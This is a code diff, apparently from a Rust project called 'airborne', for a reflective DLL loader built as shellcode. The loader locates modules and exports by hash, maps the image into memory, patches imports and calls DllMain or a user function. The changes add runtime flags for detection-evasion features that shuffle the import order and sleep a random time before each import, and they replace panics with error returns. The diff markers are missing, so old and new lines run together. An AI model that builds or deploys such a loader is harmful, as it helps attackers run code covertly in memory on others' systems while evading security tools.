let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
if base_addr_ptr.is_null() {
return;
}
let base_addr_ptr =
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
@ -163,7 +138,7 @@ pub unsafe extern "system" fn loader(
return;
}
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags);
/*
5.) finalize the sections by setting protective permissions after mapping the image
@ -175,15 +150,7 @@ pub unsafe extern "system" fn loader(
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
*/
if flags == 0 {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
} else {
if flags.ufn {
// UserFunction address = base address + RVA of user function
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
@ -192,6 +159,14 @@ pub unsafe extern "system" fn loader(
// execution with user data passed into the shellcode by the generator
UserFunction(user_data, user_data_len);
} else {
let dll_main_addr = base_addr_ptr as usize
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
#[allow(non_snake_case)]
let DllMain = transmute::<_, DllMain>(dll_main_addr);
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
}
}
@ -263,7 +238,7 @@ unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it
if module_hash == airborne_utils::calc_hash(name_slice_buf) {
if module_hash == airborne_common::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _);
}
@ -318,7 +293,7 @@ unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Optio
let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_utils::calc_hash(name_slice) {
if function_hash == airborne_common::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
}
}
@ -331,7 +306,7 @@ unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void,
alloc_size: usize,
far_procs: &FarProcs,
) -> *mut c_void {
) -> Option<*mut c_void> {
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr,
alloc_size,
@ -349,7 +324,11 @@ unsafe fn allocate_rw_memory(
);
}
base_addr_ptr
if base_addr_ptr.is_null() {
return None;
}
Some(base_addr_ptr)
}
#[link_section = ".text"]
@ -438,7 +417,8 @@ unsafe fn patch_iat(
base_addr_ptr: *mut c_void,
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
far_procs: &FarProcs,
) {
flags: &Flags,
) -> BOOL {
/*
1.) shuffle Import Directory Table entries (image import descriptors)
2.) delay the relocation of each import a random duration
@ -456,10 +436,13 @@ unsafe fn patch_iat(
let id_ptr = import_descriptor_ptr;
if import_count > 1 && SHUFFLE_IMPORTS {
if import_count > 1 && flags.shuffle {
// Fisher-Yates shuffle
for i in 0..import_count - 1 {
let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation
let rn = match get_random(far_procs) {
Some(rn) => rn,
None => return 0,
};
let gap = import_count - i;
let j_u64 = i + (rn % gap);
@ -473,17 +456,18 @@ unsafe fn patch_iat(
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() {
return;
return 0;
}
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
if module_handle == 0 {
return;
return 0;
}
if DELAY_IMPORTS {
let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation
if flags.delay {
// skip delay if winapi call fails
let rn = get_random(far_procs).unwrap_or(0);
let delay = rn % MAX_IMPORT_DELAY_MS;
(far_procs.Sleep)(delay as _);
}
@ -517,7 +501,10 @@ unsafe fn patch_iat(
// mask out the high bits to get the ordinal value and patch the address of the function
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
(*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
} else {
// get the function name from the thunk and patch the address of the function
let thunk_data_ptr = (base_addr_ptr as usize
@ -525,7 +512,10 @@ unsafe fn patch_iat(
as *mut IMAGE_IMPORT_BY_NAME;
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
(*thunk_ptr).u1.Function =
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
Some(fn_addr) => fn_addr as usize as _,
None => return 0,
};
}
thunk_ptr = thunk_ptr.add(1);
@ -535,6 +525,8 @@ unsafe fn patch_iat(
import_descriptor_ptr =
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
}
1
}
#[link_section = ".text"]
@ -609,7 +601,7 @@ unsafe fn finalize_relocations(
}
#[link_section = ".text"]
unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> {
unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
let mut buffer = [0u8; 8];
let status = (far_procs.BCryptGenRandom)(
BCRYPT_RNG_ALG_HANDLE,